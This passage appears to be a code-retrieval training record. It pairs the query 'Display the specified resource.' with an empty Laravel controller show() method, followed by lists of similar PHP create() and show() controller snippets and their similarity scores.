$this->translator->translate(\"Create a new invoice using this form.\");\n\t\t$this->view->buttons = array(array(\"url\" => \"#\", \"label\" => $this->translator->translate('Save'), \"params\" => array('css' => null,'id' => 'submit')),\r\n\t\t\t\t\t\t\t array(\"url\" => \"/admin/invoices/list\", \"label\" => $this->translator->translate('List'), \"params\" => array('css' => null)));\n\t\t$this->render ( 'applicantform' );\n\t}", "public function create()\n {\n $data['action'] = 'pengiriman.store';\n return view('pengiriman.form', $data);\n }", "public function create()\n {\n return $this->cView(\"form\");\n }", "public function newAction()\n {\n // Création de l'entité et du formulaire.\n $client = new Client();\n $formulaire = $this->createForm(new ClientType(), $client);\n \n \n \n // Génération de la vue.\n return $this->render('KemistraMainBundle:Client:new.html.twig',\n array('formulaire' => $formulaire->createView()));\n }", "public function create()\n {\n return view(\"dresses.form\");\n }", "public function create()\n\t{\n\t\treturn View::make('new_entry');\n\t}", "public function createAction()\n {\n// $this->view->form = $form;\n }", "public function create()\n {\n return view('bank_account.form', ['mode' => 'create']);\n }", "public function create()\n {\n return view('fish.form');\n }", "public function create()\n {\n return view('users.forms.create');\n }", "public function create()\n {\n $this->setFormFields($this->getCreateFormFields());\n $form = $this->getCreateForm();\n\n return view($this->getViewName('create'), [\n 'crudSlug' => $this->slug,\n 'form' => $form,\n ]);\n }", "public function create()\n\t{\n\t\treturn view('admin.estadoflete.new');\n\t}", "public function create()\n {\n $person = new Person;\n return view('contents.personform')->with(compact('person') );\n }", "public function createAction(){\n \t$this->view->placeholder('title')->set('Create');\n \t$this->_forward('form');\n }", "public function create()\n {\n Gate::authorize('app.products.create');\n\n return view('backend.products.form');\n }", "public function create()\n {\n return view('essentials::create');\n }", "public function create()\n {\n return view('student.add');\n }", "public function create()\n\t{\n\t\treturn view('loisier/create');\n\t}", "public function create()\n {\n return view('url.form');\n }", "public function newAction()\n {\n $entity = new Facture();\n $factureType = new FactureType();\n\t\t$factureType->setUser($this->get('security.context')->getToken()->getUser());\n $form = $this->createForm($factureType, $entity);\n\n return $this->render('chevPensionBundle:Facture:new.html.twig', array(\n 'entity' => $entity,\n 'form' => $form->createView(),\n ));\n }", "public function newAction()\n {\n $entity = new Chofer();\n $form = $this->createForm(new ChoferType(), $entity, ['user' => $this->getUser()]);\n\n return $this->render('ChoferesBundle:Chofer:new.html.twig', array(\n 'entity' => $entity,\n 'form' => $form->createView(),\n 'css_active' => 'chofer',\n ));\n }", "public function create()\n\t{\n\t\treturn View::make('crebos.create');\n\t}", "public function create() : View\n {\n $fieldset = $this->menuFieldset();\n\n return $this->view('create', [\n 'title' => trans('addons.Aardwolf::titles.create'),\n 'data' => [],\n 'fieldset' => $fieldset->toPublishArray(),\n 'suggestions' => [],\n 'submitUrl' => route('aardwolf.postCreate')\n ]);\n }", "public function create()\n {\n return view('libro.create');\n }", "public function create()\n {\n return view('libro.create');\n }", "public function newAction()\n {\n $entity = new Species();\n $form = $this->createForm(new SpeciesType(), $entity);\n\n return $this->render('InfectBackendBundle:Species:new.html.twig', array(\n 'entity' => $entity,\n 'form' => $form->createView(),\n ));\n }", "public function create()\n {\n return view('crud/add'); }", "public function create()\n\t{\n\t\treturn View::make('supplier.create');\n\t}", "public function newAction()\n {\n $entity = new Company();\n $form = $this->createForm(new CompanyType(), $entity);\n\n return $this->render('SiteSavalizeBundle:Company:new.html.twig', array(\n 'entity' => $entity,\n 'form' => $form->createView(),\n ));\n }", "public function create()\n {\n return view(\"List.form\");\n }", "public function index_onCreateForm()\n\t{\n\t\tparent::create();\n\t\treturn $this->makePartial('create');\n\t}", "public function create()\n {\n //load create form\n return view('products.create');\n }", "public function create()\n {\n return view('article.addform');\n }", "public function create()\n {\n // Mengarahkan ke halaman form\n return view('buku.form');\n }", "public function create()\n\t{\n\t\t// load the create form (app/views/material/create.blade.php)\n\t\t$this->layout->content = View::make('material.create');\n\t}", "public function create()\n {\n return view('saldo.form');\n }", "public function create()\n\t\t{\n\t\t\treturn view('kuesioner.create');\n\t\t}", "public function view_create_questioner_form() {\n \t// show all questioner\n \t// send questioner to form\n \treturn view(\"create_questioner\");\n }", "public function newAction() {\n $entity = new Question();\n $form = $this->createCreateForm($entity);\n\n return $this->render('CdlrcodeBundle:Question:new.html.twig', array(\n 'entity' => $entity,\n 'form' => $form->createView(),\n ));\n }", "public function create()\n {\n $data['companies'] = Company::select('id', 'name')->where('status', 1)->orderBy('id', 'desc')->get();\n return view('admin.outlet.outlet_form', $data);\n }", "public function create()\n {\n return view('admin.inverty.add');\n }", "public function create()\n {\n return view('Libro.create');\n }", "public function create()\n {\n $title = trans('entry_mode.new');\n return view('layouts.create', compact('title'));\n }", "public function create()\n {\n $breadcrumb='car.create';\n return view('admin.partials.cars.form', compact('breadcrumb'));\n }", "public function create()\n {\n return view(\"familiasPrograma.create\");\n }", "public function create()\n {\n return view('admin.car.create');\n }", "public function create()\n {\n return view('admin.car.create');\n }", "public function create()\n\t{\n\t\treturn View::make('perusahaans.create');\n\t}", "public function create()\n {\n return view(\"create\");\n }", "public function create()\n\t{\n //echo 'show form';\n\t\treturn View::make('gaans.create');\n\t}", "public function create()\n {\n $title = trans('dormitorybed.new');\n $this->generateParams();\n\n return view('layouts.create', compact('title'));\n }", "public function create()\n {\n return view('forming');\n }", "public function formNew() {\n $this->data->options = array(\n 'RJ' => 'Rio de Janeiro',\n 'MG' => 'Minas Gerais',\n 'SP' => 'São Paulo',\n 'ES' => 'Espírito Santo',\n 'BA' => 'Bahia',\n 'RS' => 'Rio Grande do Sul'\n );\n $this->data->action = \"@exemplos/pessoa/save\";\n $this->render();\n }", "public function create()\n {\n \t\n \treturn view('supplies.create');\n\n }", "public function createAction()\n {\n if ($form = $this->processForm()) {\n $this->setPageTitle(sprintf($this->_('New %s...'), $this->getTopic()));\n $this->html[] = $form;\n }\n }", "public function create()\n {\n $page_title = \"Add New\";\n return view($this->path.'create', compact('page_title'));\n }", "public function create()\n {\n // not sure what to do with the form since im\n // using ame partial for both create and edit\n return view('plants.create')->with('plant', new Plant);\n }", "public function create() {\n\t\t$title = 'Create | Show';\n\n\t\treturn view('admin.show.create', compact('title'));\n\t}", "public function create()\n {\n return view('student::students.student.create');\n }", "public function newAction(){\n\t\t$entity = new Reserva();\n\t\t$form = $this->createCreateForm($entity);\n\n\t\treturn $this->render('LIHotelBundle:Reserva:new.html.twig', array(\n\t\t\t'entity' => $entity,\n\t\t\t'form' => $form->createView(),\n\t\t));\n\t}" ]
[ "0.75948673", "0.75948673", "0.75863165", "0.7577412", "0.75727344", "0.7500887", "0.7434847", "0.7433956", "0.73892003", "0.73531085", "0.73364776", "0.73125", "0.7296102", "0.7281891", "0.72741455", "0.72424185", "0.7229325", "0.7226713", "0.7187349", "0.7179176", "0.7174283", "0.7150356", "0.71444064", "0.71442676", "0.713498", "0.71283126", "0.7123691", "0.71158516", "0.71158516", "0.71158516", "0.7112176", "0.7094388", "0.7085711", "0.708025", "0.70800644", "0.70571953", "0.70571953", "0.70556754", "0.70396435", "0.7039549", "0.7036275", "0.703468", "0.70305896", "0.7027638", "0.70265305", "0.70199823", "0.7018007", "0.7004984", "0.7003889", "0.7000935", "0.69973785", "0.6994679", "0.6993764", "0.6989918", "0.6986989", "0.6966502", "0.69656384", "0.69564354", "0.69518244", "0.6951109", "0.6947306", "0.69444615", "0.69423944", "0.6941156", "0.6937871", "0.6937871", "0.6936686", "0.69345254", "0.69318026", "0.692827", "0.69263744", "0.69242257", "0.6918349", "0.6915889", "0.6912884", "0.691146", "0.69103104", "0.69085974", "0.69040126", "0.69014287", "0.69012105", "0.6900397", "0.68951064", "0.6893521", "0.68932164", "0.6891899", "0.6891616", "0.6891616", "0.6889246", "0.68880934", "0.6887128", "0.6884732", "0.68822503", "0.68809193", "0.6875949", "0.68739206", "0.68739134", "0.6870358", "0.6869779", "0.68696856", "0.686877" ]
0.0
-1
Store a newly created resource in storage.
public function store(Request $request) { $this->validate($request, [ 'custom_message' => 'required_with:custom_link', 'custom_link' => 'required_with:custom_message', 'post_id' => 'required_if:type,like,retweet', ]); // Validate if tweet is valid (custom validation specific to Twitter regarding the 140 chacracters limit) if ( ! $this->tweetIsValid($this->simulateTweet())) { return back()->withInput()->with('danger', 'Tweet is invalid! More than 140 characters provided!'); } // If validation passes then we move forward Campaign::make($request->all()); return redirect()->route('campaigns.index')->with('success', 'Campaign created succesfully!'); }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function store($data, Resource $resource);", "public function store()\n {\n /* Check if logged in user is authorized to make this request */\n $this->authorizeAction();\n\n if (method_exists($this, 'storeValidations')) {\n $this->request->validate($this->storeValidations());\n }\n\n /* Create a new resource */\n $resource = $this->model::create(Input::all());\n\n /* Redirect to newly created resource page */\n return redirect()\n ->route($this->name . '.edit', $resource->id)\n ->with(\n 'success',\n Lang::has($this->name . '.resource-created') ?\n $this->name . '.resource-created' :\n 'messages.alert.resource-created'\n );\n }", "public function store(CreateStorageRequest $request)\n {\n $this->storage->create($request->all());\n\n return redirect()->route('admin.product.storage.index')\n ->withSuccess(trans('core::core.messages.resource created', ['name' => trans('product::storages.title.storages')]));\n }", "public function createStorage();", "public function store(StoreStorage $request)\n {\n $storage = Storage::create($request->all());\n $request->session()->flash('alert-success', 'Запись успешно добавлена!');\n return redirect()->route('storage.index');\n }", "public function saveShopifyResource() {\n if (is_null($this->getShopifyId())) { // if there is no id...\n $this->createShopifyResource(); // create a new resource\n } else { // if there is an id...\n $this->updateShopifyResource(); // update the resource\n }\n }", "public function store(Request $request, NebulaResource $resource): RedirectResponse\n {\n $this->authorize('create', $resource->model());\n\n $validated = $request->validate($resource->rules(\n $resource->createFields()\n ));\n\n $resource->storeQuery($resource->model(), $validated);\n\n $this->toast(__(':Resource created', [\n 'resource' => $resource->singularName(),\n ]));\n\n return redirect()->back();\n }", "function storeAndNew() {\n $this->store();\n }", "public function store(Request $request)\n {\n $currentUser = JWTAuth::parseToken()->authenticate();\n $validator = Validator::make($request->all(), [\n 'content' => 'required|string',\n 'image_link' => 'sometimes|url',\n ]);\n\n if ($validator->fails()) {\n return APIHandler::response(0, $validator->errors(), [], 400);\n }\n\n $resource = new Resource;\n $resource->user_id = $currentUser['id'];\n $resource->title = $request->get('title');\n $resource->content = $request->get('content');\n $resource->image_link = $request->get('imageLink');\n $resource->video_link = $request->get('videoLink');\n $resource->file_link = $request->get('fileLink');\n $resource->audio_link = $request->get('audioLink');\n $resource->tags = collect($request->get('tags'))->implode('text', ',');\n $resource->is_public = 0;\n $resource->save();\n $data['resource'] = $resource;\n\n if ($request->get('programId')) {\n $this->addToProgram($resource, $request->programId);\n // event(new NewLearningPathResourcePublished($resource, $invitee));\n }\n\n User::find($currentUser['id'])->increment('points', 2);\n\n return APIHandler::response(1, \"New resource has been created\", $data, 201);\n }", "public function store()\n {\n if (!$this->id) { // Insert\n $this->insertObject();\n } else { // Update\n $this->updateObject();\n }\n }", "public function store()\n\t{\n\t\t\n\t\t//\n\t}", "public function store()\r\n\t{\r\n\t\t//\r\n\t}", "public function store()\r\n\t{\r\n\t\t//\r\n\t}", "public function store()\r\n\t{\r\n\t\t//\r\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}" ]
[ "0.72865677", "0.7145327", "0.71325725", "0.6640912", "0.66209733", "0.65685713", "0.652643", "0.65095705", "0.64490104", "0.637569", "0.63736665", "0.63657933", "0.63657933", "0.63657933", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437" ]
0.0
-1
Display the specified resource.
public function show(Campaign $campaign) { // }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function show(Resource $resource)\n {\n // not available for now\n }", "public function show(Resource $resource)\n {\n //\n }", "function Display($resource_name, $cache_id = null, $compile_id = null)\n {\n $this->_smarty->display($resource_name, $cache_id, $compile_id);\n }", "private function showResourceable($resourceable)\n {\n save_resource_url();\n\n return $this->view('resources.create_edit')\n ->with('resource', $resourceable)\n ->with('photos', $resourceable->photos)\n ->with('videos', $resourceable->videos)\n ->with('documents', $resourceable->documents);\n }", "function display($resource_name, $cache_id = null, $compile_id = null) {\n\t\t$this->_getResourceInfo($resource_name); // Saves resource info to a Smarty class var for debugging\n\t\t$_t3_fetch_result = $this->fetch($resource_name, tx_smarty_div::getCacheID($cache_id), $compile_id);\n if ($this->debugging) { // Debugging will have been evaluated in fetch\n require_once(SMARTY_CORE_DIR . 'core.display_debug_console.php');\n $_t3_fetch_result .= smarty_core_display_debug_console(array(), $this);\n }\n\t\treturn $_t3_fetch_result;\n\t}", "public function show(ResourceSubject $resourceSubject)\n {\n //\n }", "public function show(ResourceManagement $resourcesManagement)\n {\n //\n }", "public function viewEditResources()\n {\n $database = new Database();\n $id = $this->_params['id'];\n\n $resource = $database->getResourceById($id);\n\n $availableResource = new Resource($resource['ResourceID'], $resource['ResourceName'], $resource['Description']\n , $resource['ContactName'] , $resource['ContactEmail'] , $resource['ContactPhone'] ,\n $resource['Link'], $resource['active']);\n $this->_f3->set('Resource', $availableResource);\n\n echo Template::instance()->render('view/include/head.php');\n echo Template::instance()->render('view/include/top-nav.php');\n echo Template::instance()->render('view/edit-resources.php');\n echo Template::instance()->render('view/include/footer.php');\n }", "public function retrieve(Resource $resource);", "public function showResource($resouceable, $id)\n {\n $model_name = str_replace('-', ' ',ucwords($resouceable));\n $model_name = str_replace(' ', '',ucwords($model_name));\n\n $resource_type = 'App\\Models\\\\'.$model_name;\n $model = app($resource_type);\n $model = $model->find($id);\n\n return $this->showResourceable($model);\n }", "public function showAction(Ressource $ressource)\n {\n $deleteForm = $this->createDeleteForm($ressource);\n\n return $this->render('ressource/show.html.twig', array(\n 'ressource' => $ressource,\n 'delete_form' => $deleteForm->createView(),\n ));\n }", "public function show(Dispenser $dispenser)\n {\n //\n }", "public function show($id)\n {\n $resource = Resource::find($id);\n dd($resource);\n }", "public function displayAction() {\n\t\tif(is_numeric($this->req_id)) {\n\t\t\tAPI::DEBUG(\"[DefaultController::displayAction()] Getting \" . $this->req_id, 1);\n\t\t\t$this->_view->data['info'] = $this->_model->get($this->req_id);\n\t\t\t$this->_view->data['action'] = 'edit';\n\n\t\t} else {\n\t\t\t$this->_view->data['action'] = 'new';\n\t\t}\n\t\t// auto call the hooks for this module/action\n\t\terror_log(\"Should Call: \" . $this->module .\"/\".$this->action.\"/\".\"controller.php\");\n\t\tAPI::callHooks($this->module, $this->action, 'controller', $this);\n\n\t\t$this->addModuleTemplate($this->module, 'display');\n\n\t}", "public function show(NebulaResource $resource, $item): View\n {\n $this->authorize('view', $item);\n\n return view('nebula::resources.show', [\n 'resource' => $resource,\n 'item' => $item,\n ]);\n }", "public function resource(string $resource, string $controller): void\n {\n $base = $this->plural($resource);\n $entity = '/{'.$resource.'}';\n\n $this->app->get($base, $controller.'@index');\n $this->app->post($base, $controller.'@store');\n $this->app->get($base.$entity, $controller.'@show');\n $this->app->patch($base.$entity, $controller.'@update');\n $this->app->delete($base.$entity, $controller.'@destroy');\n }", "function displayCustom($resource_name, $cache_id = null, $compile_id = null)\n\t{\n\t return $this->display(DotbAutoLoader::existingCustomOne($resource_name), $cache_id, $compile_id);\n\t}", "public function show($id)\n {\n /* Check if logged in user is authorized to make this request */\n $this->authorizeAction();\n\n /* Get the specified resource */\n $resource = $this->model::findOrFail($id);\n\n /* Sets the view */\n if (view()->exists(\"admin.{$this->name}.show\")) {\n $view = \"admin.{$this->name}.show\";\n } else {\n $view = 'admin.includes.actions.show';\n }\n\n /* Displays the specified resource page */\n return view($view)\n ->with('resource', $resource)\n ->with('name', $this->name);\n }", "public function show($id)\n {\n $currentUser = JWTAuth::parseToken()->authenticate();\n $rules = [\n 'id' => 'required|integer'\n ];\n\n $validator = Validator::make(['id' => $id], $rules);\n if ($validator->fails()) {\n return APIHandler::response(0, $validator->errors(), 400);\n }\n $resource = $this->resourceRepository->fetchResource($id);\n $this->resourceRepository->storeView($id, $currentUser['id']);\n\n $data = [\n 'resource' => $resource,\n 'related_resources' => $this->resourceRepository->getResourcesRelatedTo($resource->id, $resource->mentoring_area_id)\n ];\n\n return APIHandler::response(1, \"Show Resource\", $data);\n }", "public function get(Resource $resource);", "public function showAction()\n {\n $model = $this->_getPhotoModel();\n $photo = $model->fetchEntry($this->getRequest()->getParam('id'));\n\n if (null === $photo) {\n return $this->_forward('notfound', 'error');\n }\n\n $this->view->auth = Zend_Auth::getInstance();\n $this->view->title = $photo->title;\n $this->view->photo = $photo;\n }", "public function show($id)\n {\n //\n $data=Resource::find($id);\n return view('resourceDetails',compact('data'));\n }", "function display() {\n\t\t$view = &$this->getView();\n\t\t$view->display();\n\t}", "public function show(ShowResourceRequest $request, $id)\n {\n // TODO: Implement show() method.\n }", "function show( $resource ){\n\n $where = \"reservation_status <> 'Pending' AND id = {$resource}\";\n $reservation = where( 'reservations', $where );\n $reservation = $reservation[0];\n\n return view('admin/reservation/preview_reservation', compact( 'reservation' ));\n}", "public function show()\n {\n if ($this->twig !== false) {\n $this->twigDefaultContext();\n if ($this->controller) {\n $this->controller->display($this->data);\n }\n echo $this->twig->render($this->twig_template, $this->data);\n } else {\n $filename = $this->findTemplatePath($this->template);\n require($filename);\n }\n }", "public function edit(Resource $resource)\n {\n //\n }", "public function show(rc $rc)\n {\n //\n }", "public function show(Resolucion $resolucion)\n {\n //\n }", "public function showAction(furTexture $furTexture)\n {\n\n return $this->render('furtexture/show.html.twig', array(\n 'furTexture' => $furTexture,\n ));\n }", "public function show()\n\t{\n\t\t//\n\t}", "public function show()\n\t{\n\t\t//\n\t}", "public function show()\n\t{\n\t\t//\n\t}", "public function show(Resena $resena)\n {\n }", "public function edit(Resource $resource)\n {\n return view('admin.resources.edit', compact('resource'));\n }", "public function showAction() {\n $docId = $this->getParam('id');\n\n // TODO verify parameter\n\n $document = new Opus_Document($docId);\n\n $this->_helper->layout()->disableLayout();\n\n $this->view->doc = $document;\n $this->view->document = new Application_Util_DocumentAdapter($this->view, $document);\n }", "public function action_display()\r\n\t{\r\n\t\t$event = ORM::factory('event', array('id' => $this->request->param('id')));\r\n\t\r\n\t\tif ( ! $event->loaded())\r\n\t\t{\r\n\t\t\tNotices::error('event.view.not_found');\r\n\t\t\t$this->request->redirect(Route::url('event'));\r\n\t\t}\r\n\t\t\r\n\t\t// Can user view this event?\r\n\t\tif ( ! $this->user->can('event_view', array('event' => $event)))\r\n\t\t{\r\n\t\t\t// Error notification\r\n\t\t\tNotices::error('event.view.not_allowed');\r\n\t\t\t$this->request->redirect(Route::url('event'));\r\n\t\t}\r\n\t\t\r\n\t\t// Pass event data to the view class\r\n\t\t$this->view->event_data = $event;\r\n\t\t$this->view->user = $this->user;\r\n\t}", "public function execute()\n {\n // HTTP Request Get\n if ($this->type == \"resource\") {\n $action = $this->getResourceAction();\n switch ($action) {\n case \"show\":\n $this->show();\n break;\n case \"create\":\n $this->create();\n break;\n case \"edit\":\n $this->edit();\n break;\n case \"destroy\":\n $this->destroy();\n break;\n default:\n echo $this->render();\n break;\n }\n } else {\n $action = $this->Request->action;\n switch ($action) {\n case \"show\":\n $this->show();\n break;\n case \"create\":\n $this->create();\n break;\n case \"edit\":\n $this->edit();\n break;\n case \"destroy\":\n $this->destroy();\n break;\n default:\n echo $this->render();\n break;\n }\n }\n }", "public function show(Resident $resident)\n {\n $this->authorize('admin.resident.show', $resident);\n\n // TODO your code goes here\n }", "public function display()\n {\n echo $this->getDisplay();\n $this->isDisplayed(true);\n }", "public function display()\n\t{\n\t\tparent::display();\n\t}", "public function get_resource();", "public function show()\n\t{\n\t\t\n\t}", "function display() {\n\n\t\t// Check authorization, abort if negative\n\t\t$this->isAuthorized() or $this->abortUnauthorized();\n\n\t\t// Get the view\n\t\t$view = $this->getDefaultView();\n\n\t\tif ($view == NULL) {\n\t\t\tthrow new Exception('Display task called, but there is no view assigned to that controller. Check method getDefaultView.');\n\t\t}\n\n\t\t$view->listing = true;\n\n\t\t// Wrap the output of the views depending on the way the stuff should be shown\n\t\t$this->wrapViewAndDisplay($view);\n\n\t}", "public function viewResources()\n {\n $database = new Database();\n\n $resources = $database->getAllActiveResourcesNoLimit();\n\n\n $resourceArray = array();\n $i = 1;\n\n foreach ($resources as $resource) {\n $availableResource = new Resource($resource['ResourceID'], $resource['ResourceName'], $resource['Description']\n , $resource['ContactName'] , $resource['ContactEmail'] , $resource['ContactPhone'] ,\n $resource['Link'], $resource['active']);\n array_push($resourceArray, $availableResource);\n $i += 1;\n }\n $resourceSize = sizeof($resourceArray);\n $this->_f3->set('resourcesByActive', $resourceArray);\n $this->_f3->set('resourcesSize', $resourceSize);\n echo Template::instance()->render('view/include/head.php');\n echo Template::instance()->render('view/include/top-nav.php');\n echo Template::instance()->render('view/resources.php');\n echo Template::instance()->render('view/include/footer.php');\n }", "public function show($id)\n {\n $this->title .= ' show';\n $this->one($id);\n }", "public function display($title = null)\n {\n echo $this->fetch($title);\n }", "public function display(){}", "public function show($id)\n\t{\n\t\t//\n\t\t//\n\t\n\t}", "public function viewAction()\n\t{\n\t\t//get Id param from request\n\t\tif (!$id = $this->_getParam('id')) {\n\t\t\t$this->getFlashMessenger()->addMessage('Product ID was not specified');\n\t\t\t$this->getRedirector()->gotoSimple('list');\n\t\t}\n\n\t\t//fetch requested ProductID from DB\n\t\tif (!$this->_model->fetch($id)) {\n\t\t\t$this->render('not-found');\n\t\t} else {\n\t\t\t$this->view->model = $this->_model;\n\t\t}\n\t}", "public function show($id)\n {\n // Get single person\n $person = Person::findOrFail($id);\n\n // Return single person as a resource\n return '<h1>Person Number '.$id.'</h1><br>'.json_encode(new PersonResource($person));\n }", "#[TODO] use self object?\n\tprotected function GET(ResourceObject $resource) {\n#[TODO]\t\tif ($resource->getMTime())\n#[TODO]\t\t\t$this->response->headers->set('Last-modified', gmdate('D, d M Y H:i:s ', $resource->getMTime()) . 'GMT');\n#[TODO]\t\tif ($resource->getCTime())\n#[TODO]\t\t\t$this->response->headers->set('Date', gmdate('D, d M Y H:i:s ', $resource->getCTime()) . 'GMT');\n\n\n#[TODO] handle file streams\n\t\t// get ranges\n#\t\t$ranges = WebDAV::getRanges($this->request, $this->response);\n\n\t\t// set the content of the response\n\t\tif ($resource instanceof ResourceDocument) {\n\t\t\t$this->response->content->set($resource->getContents());\n\t\t\t$this->response->content->setType($resource->getMIMEType());\n\t\t\t$this->response->content->encodeOnSubmit(true);\n\t\t}\n\t}", "public function display() {\n echo $this->render();\n }", "public function show($id)\n\t{\n\t//\n\t}", "public function show($id)\n\t{\n\t//\n\t}", "function Fetch($resource_name, $cache_id = null, $compile_id = null, $display = false)\n {\n return $this->_smarty->fetch($resource_name, $cache_id, $compile_id, $display);\n }", "public function show($id)\n {\n //\n $this->_show($id);\n }", "public function show()\n\t{\n\n\t}", "public function show($id) {\n\t\t//\n\t}", "public function show($id) {\n\t\t//\n\t}", "public function show($id) {\n\t\t//\n\t}", "public function show($id) {\n\t\t//\n\t}", "public function show($id) {\n\t\t//\n\t}", "public function show($id) {\n\t\t//\n\t}", "public function show($id) {\n\t\t//\n\t}", "public function show($id) {\n\t\t//\n\t}", "public function show($id) {\n\t\t//\n\t}", "public function show($id) {\n\t\t//\n\t}", "public function show($id) {}", "static public function showCallback(O_Dao_Renderer_Show_Params $params) {\r\n\t\t/* @var $r R_Mdl_Resource */\r\n\t\t$r = $params->record();\r\n\t\t// Setting layout title\r\n\t\t$params->layout()->setTitle($r->getPageTitle());\r\n\r\n?><h1><?=$r->title?></h1><div id=\"resource\"><?\r\n\t\tif($r->getContent()) {\r\n\t\t\t// page has its own content -- show it\r\n\t\t\t$r->getContent()->show($params->layout(), \"content\");\r\n\t\t} else {\r\n\t\t\t// It is a post unit, show all childs\r\n\t\t\tif($r->is_unit == 1) {\r\n\t\t\t\t$r->addQueryAccessChecks($r->getChilds(1))->show($params->layout(), \"content\");\r\n\r\n\t\t\t// It is a folder with several units, show paginator\r\n\t\t\t} elseif($r->show_def == \"last-units\") {\r\n\t\t\t\tlist($type, $perpage) = explode(\":\", $r->show_def_params);\r\n\t\t\t\t/* @var $p O_Dao_Paginator */\r\n\t\t\t\t$p = $r->addQueryAccessChecks($r->getChilds())->test(\"is_unit\", 1)->getPaginator(array($r, \"getPageUrl\"), $perpage);\r\n\t\t\t\t$p->show($params->layout(), $type);\r\n\t\t\t// It is a folder with subfolders, boxes, contents. Show one childs level\r\n\t\t\t} else {\r\n\t\t\t\t$r->addQueryAccessChecks($r->getChilds(1))->show($params->layout(), \"on-parent-page\");\r\n\t\t\t}\r\n\r\n\t\t}\r\n?></div><?\r\n\t}", "public function 